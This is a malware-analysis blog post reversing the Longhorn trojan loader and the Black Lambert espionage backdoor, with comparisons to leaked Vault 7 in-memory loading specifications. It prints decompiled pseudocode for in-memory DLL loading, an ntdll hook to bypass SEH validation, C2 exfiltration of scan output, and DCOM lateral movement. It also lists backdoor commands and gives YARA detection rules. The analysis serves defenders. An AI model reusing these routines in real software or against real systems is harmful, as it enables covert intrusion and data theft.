Vault7 Leaks : A look at Longhorn Trojan and Black Lambert spying backdoor



Some weeks ago, I stumbled across this article : Longhorn: Tools used by cyberespionage group linked to Vault 7 by Symantec. I was desperatly looking for new interesting malwares to reverse, since the recent ShadowBrokers implant leaks were all already covered and I couldn't find anything but shitty ransomwares.

The samples I analyzed were kindly posted by R136a1 (@TheEnergyStory) on Thanks to him for sharing them.

We will see how the trojan works and how conform it is with the following Vault7 Leaks :

The main analysis will be on the Longhorn Trojan loader and its in-memory DLL loading feature, which is used to execute downloaded payloads on the system, and shows that the attackers didn't want to leave traces. This feature is precisely described in the CIA leaked documents abode and we will see that the loader was indeed built following those specifications. Then, we will give a look at a complex and stealthy spying backdoor payload called Black Lambert used in targeted attacks and related to the CIA toolkits.

Here are the hashes of respectively the Longhorn Trojan loader and a module payload, Black Lambert :

$ rahash2 -qq -a md5,sha1,sha256 LH1.bin

$ rahash2 -qq -a md5,sha1,sha256 blacklambert.bin

LH1 VirusTotal Analysis, BlackLambert VirusTotal Analysis

Longhorn Loader Analysis : Trojan.LH1


The loader registers itself as a Windows service under the name BiosSrv :

int add_service() {
  SERVICE_TABLE_ENTRYW ServiceStartTable; // [sp+10h] [bp-30h]@1
  int v2; // [sp+18h] [bp-28h]@1
  int v3; // [sp+1Ch] [bp-24h]@1
  CPPEH_RECORD ms_exc; // [sp+28h] [bp-18h]@1

  ms_exc.registration.TryLevel = 0;
  ServiceStartTable.lpServiceName = L"BiosSrv";
  ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONW)service_proc;
  v2 = 0;
  v3 = 0;
  return 0;

The service procedure then starts the main thread, that will contact the CnC and wait for instructions.

SERVICE_STATUS_HANDLE __stdcall service_proc(int a1, int a2) {
  SERVICE_STATUS_HANDLE result; // eax@1

  result = RegisterServiceCtrlHandlerW(L"BiosSrv", HandlerProc);
  hServiceStatus = result;
  if ( result ) {
    ServiceStatus.dwServiceType = 16; // SERVICE_WIN32_OWN_PROCESS
    ServiceStatus.dwServiceSpecificExitCode = 0;
    set_service_status(2u, 0, 0xBB8u);
    result = start_thread_cnc();
  return result;


A ClientID is generated using UuidCreate() and UuidToStringW(), and then written in the registry under the key HKLM\SOFTWARE\BiosInnovations\ClientID.

  if ( RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\BiosInnovations", 0, 0, 0, 0xF003Fu, 0, &phkResult, 0) ) {
    dwErrorCode = generate_clientID((RPC_WSTR *)&lpClientID);
    if ( dwErrorCode ) {
      snwprintf((wchar_t *)v1 + 517, 0x100u, L"%s: %s", L"X-MV-Host", lpClientID);
      dwErrorCode = 1;
      goto LABEL_11;
  else {
    v2 = RegQueryValueExW(phkResult, L"ClientID", 0, 0, Data, &cbData);
    if ( !v2 ) {
      snwprintf((wchar_t *)v1 + 517, 0x100u, L"%s: %s", L"X-MV-Host", Data);
      goto LABEL_4;
    if ( v2 == 2 ) {
      dwErrorCode = generate_clientID((RPC_WSTR *)&lpClientID);
      if ( dwErrorCode ) {
        snwprintf((wchar_t *)v1 + 517, 0x100u, L"%s: %s", L"X-MV-Host", lpClientID);
        if ( !RegSetValueExW(phkResult, L"ClientID", 0, 1u, lpClientID, 2 * wcslen(lpClientID) + 2) )
          goto LABEL_4;


The trojan stores two resources under the name "BINARY" :

Longhorn uses the WinHTTP API to resolve user proxy settings and communicate with its CnC over SSL.

Certificate Pinning

To communicate with its CnC, Longhorn Trojan extracts a SSL Certificate from its resources and installs it using CertAddCertificateContextToStore().

This certificate is used to communicate with the CnC. It is checked server-side and an error page is displayed if one tries to send request to the CnC without this certificate.


In a similar way, the CnC domain is extracted from the resource section. In the sample I studied, the domain appeared to be

Once the certificate is installed and the CnC domain is extracted, the trojan starts a thread to reach back to its CnC, gets instructions and exfiltrates files. Longhorn uses a randomized delay between requests to try and stay stealthy as much as possible, which is something worth noticing.

DWORD __stdcall th_cnc() {
  time_t tTime; // esi@1
  DWORD dwProcessId; // eax@1
  int dwRandomValue; // eax@1

  tTime = time(0);
  dwProcessId = GetCurrentProcessId();
  srand(dwProcessId ^ tTime);
  dwRandomValue = rand();
  Sleep(60000 * (dwRandomValue % 5 + 1));       // Randomized communication timing
  return 0;

The following URLs are contacted :

.text:010019FC 00000020 unicode /agent/put-file   
.text:01001CE0 00000020 unicode /agent/put-scan   
.text:01001ED4 00000026 unicode /agent/get-scanner
.text:01001F80 0000001E unicode /agent/checkin

We will see what they are refering to in the next part.


In-Memory Payload Loading

Getting and Uncompressing the Payload

The main purpose of the loader seems to download a scanner, execute it in memory and exfiltrate its output. Here is the pseudocode of the get-scanner command :

signed int __thiscall cnc_getscanner(void *this) {
  if ( cnc_openrequest((LPCWSTR)v2, L"GET", L"/agent/get-scanner") ) {
    WinHttpAddRequestHeaders(*((HINTERNET *)v2 + 0x20D), (LPCWSTR)v2 + 0x205, 0xFFFFFFFF, 0x20000000u);
    WinHttpAddRequestHeaders(*((HINTERNET *)v2 + 0x20D), L"X-MV-Version: 1.00", 0xFFFFFFFF, 0x20000000u);
    v3 = get_this(**((void ***)v2 + 0x21B));
    if ( *((_DWORD *)v3 + 6) < 8u )
      v4 = (int)v3 + 4;
      v4 = *((_DWORD *)v3 + 1);
    v14 = v4;
    v13 = L"X-MV-Command";
    wsprintfW(&pwszHeaders, L"%s: %s", L"X-MV-Command", v4);
    WinHttpAddRequestHeaders(*((HINTERNET *)v2 + 0x20D), &pwszHeaders, 0xFFFFFFFF, 0x20000000u);
    if ( cnc_send_receive(v2) ) {
      v5 = *((_DWORD *)v2 + 0x217);
      if ( v5 && (unsigned int)(*((_DWORD *)v2 + 0x218) - v5) >= 0x100 ) {
        sub_100AECA((int)v2 + 0x894, (int)v2 + 0x858);
        errorCode = 1;
        goto LABEL_13;
      v14 = GetLastError();
      v15 = &v7;
      log_write((int)&v7, L"failed to download scanner from server");
    else {
      v14 = GetLastError();
      v15 = &v7;
      log_write((int)&v7, L"could not download response data from server");
    log_error(**((void ***)v2 + 0x21B), v7, v8, v9, v10, v11, v12, (int)v13, v14);
    errorCode = 0;
  else {
    v14 = GetLastError();
    v15 = &v7;
    log_write((int)&v7, L"could not connect to server");
    log_error(**((void ***)v2 + 0x21B), v7, v8, v9, v10, v11, v12, (int)v13, v14);
  return errorCode;

The scanner is LZ-compressed, the loader uncompress it with RtlDecompressBuffer() :

int __cdecl decompress_scanner(int dwCompressedBuf, int dwCompressedSize, int *dwDecompressedAddr, _DWORD *dwDecompressedSize) {

  *dwDecompressedAddr = 0;
  *dwDecompressedSize = 0;
  hNtdll = GetModuleHandleW(L"ntdll");
  dwRtlDecompressBuffer = GetProcAddress(hNtdll, "RtlDecompressBuffer");
  v5 = GetModuleHandleW(L"ntdll");
  dwRtlAllocateHeap = GetProcAddress(v5, "RtlAllocateHeap");
  v6 = GetModuleHandleW(L"ntdll");
  dwRtlFreeHeap = GetProcAddress(v6, "RtlFreeHeap");
  if ( dwRtlDecompressBuffer && dwRtlAllocateHeap ) {
    v7 = GetProcessHeap();
    pDecompressBuf = ((int (__stdcall *)(HANDLE, signed int, int))dwRtlAllocateHeap)(v7, 8, 2 * dwCompressedSize);
    v9 = dwDecompressedAddr;
    *dwDecompressedAddr = pDecompressBuf;
    v16 = pDecompressBuf
       && !((int (__stdcall *)(signed int, int, int, int, int, _DWORD *))dwRtlDecompressBuffer)(
             0x102,                             // COMPRESSION_FORMAT_LZNT1|COMPRESSION_ENGINE_MAXIMUM
             3 * dwCompressedSize,
       && *(_WORD *)*dwDecompressedAddr == 'ZM';
  else {
    v16 = 0;
    v9 = dwDecompressedAddr;
  if ( !v16 && *v9 && dwRtlFreeHeap ) {
    dwHeapBase = *v9;
    dwProcessHeap = GetProcessHeap();
    ((void (__stdcall *)(HANDLE, _DWORD, int))dwRtlFreeHeap)(dwProcessHeap, 0, dwHeapBase);
    *v9 = 0;
  return v16;

Now, the loader can execute the module in memory. We will explain how in the next part.

In-memory Code Execution (ICE) in Longhorn Loader

I won't describe the whole process, it is similar to this code : Main steps are :

Here is the main routine called to load the Scanner module DLL and execute it in memory (See next part for information about MODULE_REMOTE_ARGS structure) :

signed int __thiscall execute_payload_mem(void *this, void *dwDecompressAddr, int dwSize) {
  DWORD dwVersion; // [sp+24h] [bp-854h]@20
  DWORD hModule; // [sp+28h] [bp-850h]@15
  DWORD dwModuleSize; // [sp+2Ch] [bp-84Ch]@15
  wchar_t pszCmdLine; // [sp+30h] [bp-848h]@20


  // Getting handle to exported function by Ordinal 1
  pMemoryLoad = (int (__stdcall *)(DWORD *))dll_mem_getFunctionByOrdinal((int)dwPEAddress, (const char *)1);

  // Filling MODULE_REMOTE_ARGS structure
  dwPEAddress = (void *)load_dll_mem(dwDecompressAddr_);
  hModule = dwPEAddress;
  dwModuleSize = dwSize;
  qmemcpy(&pszCmdArgs, L"-v -system -F -t", 0x22u);
  pszBufferCmdLine = malloc(2 * wcslen((const unsigned __int16 *)&pszCmdArgs) + 0x104);
  wsprintfW((LPWSTR)pszBufferCmdLine, L"%s -o %s", &pszCmdArgs, v10);
  wcsncpy(&pszCmdLine, (const wchar_t *)pszBufferCmdLine, wcslen((const unsigned __int16 *)pszBufferCmdLine) + 1);


  // Calling exported function and passing the MODULE_REMOTE_ARGS structure
  retFunction = pMemoryLoad(&dwVersion);

  if ( !retFunction ) {
    v5 = 1;

  [Error checks...]

    if ( lpAddress )



Similarities with Vault7 ICE Specifications

In this part, we will point out all the similarities between the Vault7 Leaks Specifications and the Longhorn loader we are studying. We will see that, as Symantec suggested without giving too many details, the loader shares multiple specifications with the documentation.

First, we can find a precise description of different module behaviors (called "feature sets") ICE_FIRE, ICE_FIRE_AND_FORGET, ICE_FIRE_AND_COLLECT and ICE_FIRE_AND_INTERACT. Since the Longhorn loader simply calls a module's exported function and waits for its return code and its output, without creating a pipe or sending it inputs, we are studying a "Fire and Collect" module :

Fire and Collect – the module is loaded, its exported function is executed, andthe module is unloaded when it decides to end execution (which may last beyond the return from the exported function) or when directed by the loader. The module may provide output to the loader for passage to the user. This feature set is best suited for modules which need to provide some sort of output back to the user in a consistent and secure manner., page 3-4

About the module, which is the malware loaded in memory by the Trojan and is in our case a mysterious Scanner, here is how it should be implemented according to the CIA :

3.1. (U//FOUO) Definition
(U//FOUO) A module exposes an exported function with the prototype
DWORDWINAPI MemoryLoad(__in LPVOID run_arg_struct);
(U//FOUO) Loaders will not use the name of the function when resolving exports, instead invoking the function by ordinal only. Modules may include a function name if desired, this name should be meaningless and innocuous (i.e., not “FaF” or “MemoryLoad”). Additional exported functions may be used by the module to disguise the true entry point., page 6

That is exactly what our loader does : getting a handle to an exported function by its ordinal (1). Moreover, as we saw, a structure is filled and passed to the module's exported function. Such a structure is described in the document but with many more fields :

3.2. (U//FOUO) Arguments
(U//FOUO) The ICE specification provides the ability to run a module with argumentsas if it was run from the command line. The module’s MemoryLoad function is called and the run_arg_struct parameter points to a MODULE_REMOTE_ARGS structure as defined below:
#pragma pack(push)
#pragma pack(1)

typedef struct _MODULE_REMOTE_ARGS {
  DWORD version; //Current version is 3
  LPVOID hModule;
  wchar_t cmdline[MODULE_ARGS_CMDLINE_LEN];
  DWORD behavior;LPHANDLE moduleThread;
  HANDLE moduleQuit;
  wchar_t pipeName[MODULE_ARGS_PIPENAME_LEN];
#pragma pack(pop), page 7

Though, in the Version History of the document, we find a perfect match for the structure used in the Longhorn Trojan and the Scanner Module :

(U//FOUO) Version 2 : Fire and Forget Specification.
  • Initial publication (as Fire and Forget Specification v1.0).
  • MODULE_REMOTE_ARGS contains version, hModule, moduleSize, and cmdline., page 17

Even though the document specifies that loaders should not fix Structured Exception Handling for modules after loading them into memory, we will see in the next part that the Longhorn loader does fix it.

10. (U//FOUO) Structured Exception Handling
(U//FOUO) Loaders will not provide fix ups to allow ICE modules to use Structured Exception Handling (SEH). If an ICE module wishes to use SEH it must perform the fix ups itself., page 15

Fixing SEH

When trying to load a DLL from memory that uses Structured Exception Handling, Windows will pop an uncaught exception error if SEH is not fixed. We will see how the Longhorn loader fixes it in its ICE loading routine.

The SEH validation routine used by Windows x86 was described in this article :

It basically checks if the flags ExecuteDispatchEnable and ImageDispatchEnable are set in the process flags and will return TRUE if it is the case, FALSE or ACCESS_VIOLATION otherwise. Windows implemented this validation process in a NTDLL function called RtlIsValidHandler(). If we disassemble it, we can see that it uses NtQueryInformationProcess() with the parameter lpProcessInformationClass = 0x22 to retrieve the ProcessExecuteFlags. Then, it checks if the flags contain ImageDispatchEnable | ExecuteDispatchEnable = 0x30.


Here is the main in-memory DLL loading routine :

unsigned int __stdcall mem_load_dll(DWORD dwDecompressedAddr) {
  signed __int32 dwErrorCode; // eax@2
  signed __int32 dwErrorCode_; // edi@4

  if ( !mem_write_apihandles((_DWORD *)(dwDecompressedAddr + 0x28)) ) {
    dwErrorCode = GetLastError();
    if ( dwErrorCode > 0 )
      dwErrorCode = (unsigned __int16)dwErrorCode | 0x80070000;
    return dwErrorCode;
  dwErrorCode_ = do_IAT_reloc(dwDecompressedAddr);
  if ( dwErrorCode_ >= 0 ) {
    // + 0x10 -> Payload Addr
    if ( hook_fix_seh_wrap(
           *(_DWORD *)(dwDecompressedAddr + 0x10),
           dwDecompressedAddr + 0x24,
           (_DWORD *)(dwDecompressedAddr + 0x20)) ) {
      return call_dll_entrypoint(*(_DWORD *)(dwDecompressedAddr + 0x10), 1u); // 1 = DLL_PROCESS_ATTACH
    dwErrorCode_ = 0x80004005;
  memset_null((int *)(dwDecompressedAddr + 0x28));
  return dwErrorCode_;

SEH fix happens in the function I called hook_fix_seh(), as one can expect. What it does is basically hooking NtQueryInformationProcess() by overwriting a 5-bytes instruction with a JMP to its own function that I called hooker_NtQueryProcessInformation(). Below, the disassembly of the NtQueryInformationProcess() function in ntdll.dll :

NtQueryInformationProcess() on x86

As we can see, the first instruction being a MOV EAX, IMM, it can easily be overwritten with a JMP. Here is the pseudocode of the new function implemented by the loader :

int __stdcall hooker_NtQueryProcessInformation(int hProcess, int lpProcessInformationClass, _DWORD *lpProcessInformation, int ulProcessInformationLength, int ulpReturnLength) {
  int dwNtStatus; // [sp+0h] [bp-Ch]@1

  // Original NtQueryProcessInformation()
  dwNtStatus = (*(int (__stdcall **)(int, int, _DWORD *, int, int))((char *)&dword_101F953 + 0xFEFE091D + 0x101F000))(
  // If ProcessExecuteFlags requested for current process
  if ( !dwNtStatus && hProcess == -1 && lpProcessInformationClass == 0x22 )
    *lpProcessInformation |= 0x30u;             // ImageDispatchEnable | ExecuteDispatchEnable
  return dwNtStatus;

This will force NtQueryProcessInformation() to always return ImageDispatchEnable | ExecuteDispatchEnable for the loaded DLL, making RtlIsValidHandler() to always return TRUE so that Windows thinks SEH is correct, hence no error will be displayed.

Scanner Output Exfiltration

The scanner's output is stored in a file which path is passed by the loader (-o command). When the scanner is finished, the loader maps the output file in memory with MapViewOfFile() (in map_file_mem()) and sends it through a POST request to the following page : https://[CnC Domain]/agent/put-scan.

int __thiscall cmd_exfil_scanneroutput(LPCWSTR pswzServerName)
  v1 = 0;
  v2 = pswzServerName;
  pwszHeaders = 0;
  memset(&Dst, 0, 0x200u);
  v3 = *((_DWORD *)v2 + 559) < 8u;
  lpBaseAddress = 0;
  v20 = 0;
  v22 = 0;
  if ( v3 )
    v4 = v2 + 1108;
    v4 = (const WCHAR *)*((_DWORD *)v2 + 554);
  if ( GetFileAttributesW(v4) == -1 ) {
    v19 = (const char *)GetLastError();
    v22 = (int)&v12;
    log_write((int)&v12, L"could open/access scanner's output file");
  else if ( map_file_mem((LPVOID)(v2 + 1106), (DWORD *)&v20, &lpBaseAddress) && v20 ) {
    if ( cnc_openrequest(v2, L"POST", L"/agent/put-scan") )
      if ( v20
        && !WinHttpAddRequestHeaders(
              *((HINTERNET *)v2 + 525),
              L"Content-Type: application/octet-stream",
        || !WinHttpAddRequestHeaders(*((HINTERNET *)v2 + 525), v2 + 517, 0xFFFFFFFF, 0x20000000u)
        || !WinHttpAddRequestHeaders(*((HINTERNET *)v2 + 525), L"X-MV-Version: 1.00", 0xFFFFFFFF, 0x20000000u)
        || ((v5 = get_this(**((void ***)v2 + 539)), *((_DWORD *)v5 + 6) < 8u) ? (v6 = (int)v5 + 4) : (v6 = *((_DWORD *)v5 + 1)),
            (v19 = (const char *)v6,
             v18 = L"X-MV-Command",
             wsprintfW(&pwszHeaders, L"%s: %s", L"X-MV-Command", v6),
             !WinHttpAddRequestHeaders(*((HINTERNET *)v2 + 525), &pwszHeaders, 0xFFFFFFFF, 0x20000000u))
         || (v19 = (const char *)sub_100C829(**((_DWORD **)v2 + 539)),
             v18 = L"X-MV-Code",
             wsprintfW(&pwszHeaders, L"%s: %d", L"X-MV-Code", v19),
             !WinHttpAddRequestHeaders(*((HINTERNET *)v2 + 525), &pwszHeaders, 0xFFFFFFFF, 0x20000000u)))
        || sub_100C829(**((_DWORD **)v2 + 539))
        && (!*((_DWORD *)sub_100C83B(**((char ***)v2 + 539)) + 5) ? (v19 = "unknown error") : ((v7 = sub_100C83B(**((char ***)v2 + 539)),
                                                                                                *((_DWORD *)v7 + 6) < 8u) ? (v8 = (int)(v7 + 4)) : (v8 = *((_DWORD *)v7 + 1)),
                                                                                               v19 = (const char *)v8),
            v18 = L"X-MV-Message",
            wsprintfW(&pwszHeaders, L"%s: %s", L"X-MV-Message", v19),
            !WinHttpAddRequestHeaders(*((HINTERNET *)v2 + 525), &pwszHeaders, 0xFFFFFFFF, 0x20000000u)) ) {
        v1 = 0;
        goto LABEL_36;
      v1 = 0;
      v19 = (const char *)&v22;
      if ( v20 ) {
        v18 = (const wchar_t *)v20;
        v17 = lpBaseAddress;
      else {
        v18 = 0;
        v17 = 0;
      if ( cnc_sendrequest((void *)v2, (LPVOID)v17, (DWORD)v18, (int)v19) ) {
        v1 = 1;
        goto LABEL_36;
      v19 = (const char *)v22;
      v22 = (int)&v12;
      log_write((int)&v12, L"failed to post scan results/non-200 OK response from server");
    else {
      v19 = (const char *)GetLastError();
      v22 = (int)&v12;
      log_write((int)&v12, L"could not connect to the server");
  else {
    v19 = (const char *)GetLastError();
    v22 = (int)&v12;
    log_write((int)&v12, L"could not map scanner results into memory");
  log_error(**((void ***)v2 + 539), v12, v13, v14, v15, v16, (int)v17, (int)v18, (int)v19);
  if ( lpBaseAddress ) {
    lpBaseAddress = 0;
  if ( *((_DWORD *)v2 + 0x22F) < 8u )
    v9 = v2 + 1108;
    v9 = (const WCHAR *)*((_DWORD *)v2 + 0x22A);
  if ( GetFileAttributesW(v9) != -1 ) {
    if ( *((_DWORD *)v2 + 559) < 8u )
      v10 = v2 + 0x454;
      v10 = (const WCHAR *)*((_DWORD *)v2 + 0x22A);
  sub_1009423((void *)(v2 + 1106));
  return v1;

Reversing a Vault7 Spying Backdoor : Black Lambert

Kaspersky wrote about the Lambert malwares family used in targeted attacks and linked to the CIA toolkits : We will analyze one of them called Black Lambert.

ICE Module

Black Lambert, as an ICE module payload, exports its main entry point by Ordinal 1 with a non suspicious name, according to the Vault7 specifications (see quotation 3.1 in a previous part). Note that the original name of the malware when it was first dropped was winlib.dll.

Moreover, this function's parameter is a perfect match for the MODULE_REMOTE_ARGS structure documented in the Vault7 leaks that we previously talked about, as shown by the pseudocode of the exported function below. This proves the two malware are connected and part of the same toolkit.

int __stdcall winlib_1(int lpModuleRemoteArgs) {
  int hModule; // ST18_4@2
  int dwModuleSize; // ST1C_4@2
  int pNumArgs; // [sp+20h] [bp-20h]@1
  HLOCAL hMem; // [sp+24h] [bp-1Ch]@1
  CPPEH_RECORD ms_exc; // [sp+28h] [bp-18h]@1

  hMem = 0;
  pNumArgs = 0;
  ms_exc.registration.TryLevel = 1;
  lpstruct_ModuleRemoteArgs = lpModuleRemoteArgs;
  if ( lpModuleRemoteArgs ) {
    hMem = CommandLineToArgvW((LPCWSTR)(lpModuleRemoteArgs + 12), &pNumArgs);// lpModuleRemoteArgs->cmdline
    hModule = *(_DWORD *)(lpstruct_ModuleRemoteArgs + 4);// lpModuleRemoteArgs->hModule
    dwModuleSize = *(_DWORD *)(lpstruct_ModuleRemoteArgs + 8);// lpModuleRemoteArgs->moduleSize
  start_payload(pNumArgs, (int)hMem);
  ms_exc.registration.TryLevel = -2;
  if ( hMem )
  return 0;

Decrypting Strings

Most strings in the malware are encrypted and decrypted by the function starting at offset 0x10029C20. I will explain de decryption routine and provide an IDAPython script to decrypt the strings and comment them in the disassembly.

Decryption routine

Encrypted strings are stored as DWORD blocks. The first DWORD is the encoded number of the following DWORD blocks that compose the encrypted string.

The number of string blocks is extracted and decoded by a XOR with 0x90E7B322 :

The main string decryption loop is a combination of several logical bitwise operators :

Further analysis revealed that Black Lambert stores a list of its commands in an array of the following custom structure :

typedef struct struct_command {
  DWORD function_offset;
  DWORD name_encrypted[30];
  DWORD options_encrypted[70];

Since there is more than 50 of those structures, decrypting the encrypted string fields will help us know what kind of backdoor we are dealing with. In the next part, I will provide an IDAPython strict to decrypt almost all encrypted strings (you'll have to add address of some of them manually) and commands.

IDAPython script

Here is an IDAPython script to decrypt strings and comment them with their decrypted values in the disassembly. I also added a function to decrypt and rename commands implemented by the trojan (see next part) :

We get the following strings :

The malware is highly commented with more than 1000 decrypted strings. Message strings are sent after every operation the payload does (and filled with null bytes right after) so this makes the reversing process a lot quicker.

Now that we have decoded strings, we can find the following build number that is associated with Black Lambert (see Kaspersky's article) :


The previous deobfuscation script will also decrypt command names and rename the corresponding functions in IDA. As we can see in script output below, a lot of commands are implemented in BlackLambert :

[+] Commands at 0x10064688 :
[0x10064688] cmd_cd [unc]
[0x100646F0] cmd_copy 
[0x10064758] cmd_delete [test|force|reboot|recursive|store]
[0x100647C0] cmd_dir [disksize|limit|ads|summary|store]
[0x10064828] cmd_drives 
[0x10064890] cmd_disconnect 
[0x100648F8] cmd_execute [steal|prefetch]
[0x10064960] cmd_get [resume]
[0x100649C8] cmd_hash [store]
[0x10064A30] cmd_idlewatch 
[0x10064A98] cmd_kill [force|block]
[0x10064B00] cmd_mkdir 
[0x10064B68] cmd_match 
[0x10064BD0] cmd_move [reboot]
[0x10064C38] cmd_mrs 
[0x10064CA0] cmd_ps [path|owner|security|stats]
[0x10064D08] cmd_put [store]
[0x10064D70] cmd_rmdir 
[0x10064DD8] cmd_set 
[0x10064E40] cmd_shutdown 
[0x10064EA8] cmd_supports [properties]
[0x10064F10] cmd_streams 
[0x10064F78] cmd_time 
[0x10064FE0] cmd_connect 
[0x10065048] cmd_listen [reuse]
[0x100650B0] cmd_which 
[0x10065118] cmd_screenshot 
[0x10065180] cmd_wincontrol 
[0x100651E8] cmd_winlist 
[0x10065250] cmd_attrib 
[0x100652B8] cmd_cat 
[0x10065320] cmd_strings 
[0x10065388] cmd_touch 
[0x100653F0] cmd_arp [mac]
[0x10065458] cmd_ipconfig [mac]
[0x100654C0] cmd_netstat [pid|filter|kill]
[0x10065528] cmd_route [mac]
[0x10065590] cmd_at 
[0x100655F8] cmd_nbtstat 
[0x10065660] cmd_net [share|use|view]
[0x100656C8] cmd_netshare 
[0x10065730] cmd_netuse 
[0x10065798] cmd_netview 
[0x10065800] cmd_services 
[0x10065868] cmd_users 
[0x100658D0] cmd_burndir 
[0x10065938] cmd_catInstall 
[0x100659A0] cmd_catUninstall 
[0x10065A08] cmd_catRunMod 
[0x10065A70] cmd_modlist 
[0x10065AD8] cmd_modload 
[0x10065B40] cmd_modunload 
[0x10065BA8] cmd_netcat 
Decrypted 53 commands.

Some of these commands could be related to this Vault7 CIA tool : Also, looking at this list of commands and their implementation reminded me of Duqu 2.0. Black Lambert is indeed identified as Duqu 2 by Avira and Windows AV, most likely as a consequence.

Most commands have a self-explanatory name and we won't review all of them.

In the following parts, we will quickly review the most interesting commands and quickly highlight some features that Black Lambert and Duqu 2 have in common.

Lateral movements

catInstall Command : Installing a DCOM loader

The backdoor was made to infect local networks through network shares. It will connect to remote computers available, add the firewall rule below, create the shares $IPC and $ADMIN, drop a copy of the malware and finally remove the shares.

135:TCP:*:Enabled:RPC Endpoint Mapper
HRESULT __usercall com_create_instance@<eax>(int a1@<edi>) {
  HRESULT result; // eax@2
  IUnknown *v2; // ecx@6
  int v3; // [sp+4h] [bp-38h]@5
  int v9; // [sp+1Ch] [bp-20h]@5
  COSERVERINFO pServerInfo; // [sp+20h] [bp-1Ch]@5
  MULTI_QI pResults; // [sp+30h] [bp-Ch]@5

  if ( a1 ) {
    if ( *(_DWORD *)(a1 + 20) ) {
      result = 0;
    else {
      pServerInfo.pwszName = *(LPWSTR *)(a1 + 56);
      pServerInfo.pAuthInfo = (COAUTHINFO *)&v3;
      pResults.pIID = (const IID *)&unk_10052670;
      pResults.pItf = 0; = 0;
      v3 = 10;
      v4 = 0;
      v5 = 0;
      v6 = 6;
      v7 = 3;
      v8 = a1 + 24;
      v9 = 0;
      pServerInfo.dwReserved1 = 0;
      pServerInfo.dwReserved2 = 0;
      result = CoCreateInstanceEx(&Clsid, 0, 0x10u, &pServerInfo, 1u, &pResults); // 0x10 = CLSCTX_REMOTE_SERVER
      if ( result >= 0 ) {
        v2 = pResults.pItf;
        *(_DWORD *)(a1 + 20) = pResults.pItf;
        if ( *(_DWORD *)(a1 + 52) )
          result = CoSetProxyBlanket(v2, 0xAu, 0, 0, 6u, 3u, (RPC_AUTH_IDENTITY_HANDLE)(a1 + 24), 0);
  else {
    result = 0x80070057;
  return result;

The Clsid refers to the following value : {b7867b64-a163-4e5d-93bb-76e0cef7153b}

CLSID used to register the Black Lambert loader as a DCOM object

Spying backdoor features

Remote Desktop Administration

The cmd_idleWatch command will return the last input time using GetLastInputInfo() :

Then, depending on the last input tick count, it sends one of the following strings to notify the attackers :

[0x10058A3C] Console Idle for %s.
[0x10058A6C] Console Active after %s idle.
[0x10058A94] Console activity detected. A user may be present.

cmd_screenshot : Standard screen capture function.

cmd_winList : Gets the current opened windows list in order to prepare the field for the next command.

cmd_winControl : The backdoor can send mouse events with SendInput(), and directly access window objects with PostMessage(), SendMessageTimeout(). Combined with the fact that BlackLambert creates a hidden desktop in one of its first functions using CreateDesktopW(), this allows an attacker to control any GUI apps without the victim seeing anything. Here are some window messages that can be sent by Black Lambert :

Moreover, BlackLambert can move the mouse pointer and send left click at given coordinates by sending MOUSEEVENTF_* commands :

GetClientRect(hWnd, &Rect);
pClientCoord.x = Rect.left + (Rect.right - Rect.left) / 2;
pClientCoord.y = + (Rect.bottom - / 2;
ClientToScreen(hWnd, &pClientCoord);
hwndDesktopWindow = GetDesktopWindow();
GetWindowRect(hwndDesktopWindow, &pWindowRect);
pInputs.type = 0;                             // INPUT_MOUSE
pInputs.mi.dx = (signed int)(65535.0 / (double)(signed int)pWindowRect.right * (double)(signed int)pClientCoord.x);
pInputs.mi.dy = (signed int)(65535.0 / (double)(signed int)pWindowRect.bottom * (double)(signed int)pClientCoord.y);
SendInput(1u, &pInputs, 28);
pInputs.mi.dwFlags = 4;                       // MOUSEEVENTF_LEFTUP
uintEvtSuccess = SendInput(1u, &pInputs, 28);
if ( bCursorPos )
  pInputs.mi.dx = (signed int)(65535.0 / (double)(signed int)pWindowRect.right * (double)(signed int)Point.x);
  pInputs.mi.dy = (signed int)(65535.0 / (double)(signed int)pWindowRect.bottom * (double)(signed int)Point.y);
  pInputs.mi.dwFlags = 0x8001;                // MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_MOVE
  SendInput(1u, &pInputs, 28);

modLoad command

This command simply loads a DLL from memory and calls its DllMain(). Note that it doesn't share the ICE module specifications.

DWORD __thiscall call_dll_entry(void *this, int fdwReason) {
  char *v2; // edi@1
  DWORD dwErrorCode; // esi@1
  int lpAddrPE; // eax@2
  char *hDllMain; // esi@3

  v2 = (char *)this;
  dwErrorCode = 0x80070057;
  if ( is_pe((int)this, (int)this) ) {
    lpAddrPE = (int)&v2[*((_DWORD *)v2 + 0xF)];
    if ( *(_DWORD *)(lpAddrPE + 0x28) ) {
      hDllMain = &v2[*(_DWORD *)(lpAddrPE + 0x28)];// 'PE'+0x28=AddressOfEntryPoint, hDllMain()
      if ( (*(_WORD *)(lpAddrPE + 0x16) & 0x2000) != 0x2000// 'PE'+0x16=Characteristics, 0x2000=IMAGE_FILE_DLL
        && !do_iat((int)v2, (int)hDllMain, (int)&v2[*((_DWORD *)v2 + 0xF)]) ) {
      dwErrorCode = ((int (__stdcall *)(char *, int, _DWORD))hDllMain)(v2, fdwReason, 0) == 0;// Calling DllMain()
    else {
      dwErrorCode = 0x80004001;
  return dwErrorCode;

Network and file commands

Nothing really interesting here, command names are pretty self-explanatory.

Information gathering commands

Of course, this wouldn't be a cyber espionage malware without its fair share of data collection commands. They are pretty standard :

Yara rule

The Yara rule below can be used to detect both Longhorn trojan and BlackLambert. Note that I couldn't find any more sample in my malware dumps, those two malwares were probably used to infect very specific computers and networks in a limited number.

rule apt_Longhorn
      description = "Rule to detect Longhorn Trojan Backdoor.LH1"
      version = "1.0"
      reference = ""
      hash1 = "21f727338a4f51d79ade48fdfd9e3e32e3b458719bf90745de31b898a80aaa65"

      $s1 = "BiosSrv" fullword wide
      $s2 = "SOFTWARE\\BiosInnovations" fullword wide
      $s3 = "/agent/put-scan" fullword wide

    uint16(0) == 0x5A4D and filesize < 1000000 and any of ($s*)

rule apt_BlackLambert
    description = "Rule to detect BlackLambert CLSID and string decryption function"
    version = "1.0"
    reference = ""
    hash1 = "2156adcaae541ea1718ea52ce07bd1555cdcf25e9919f3208958f8c195f34286"

    $clsid = {64 7B 86 B7 63 A1 5D 4E 93 BB 76 E0 CE F7 15 3B 58 3E 06 10 78 3E 06 10}
    $decryption = {89 54 24 04 8D 16 8B 1A F7 DB 0F CB C1 C3 03 0F
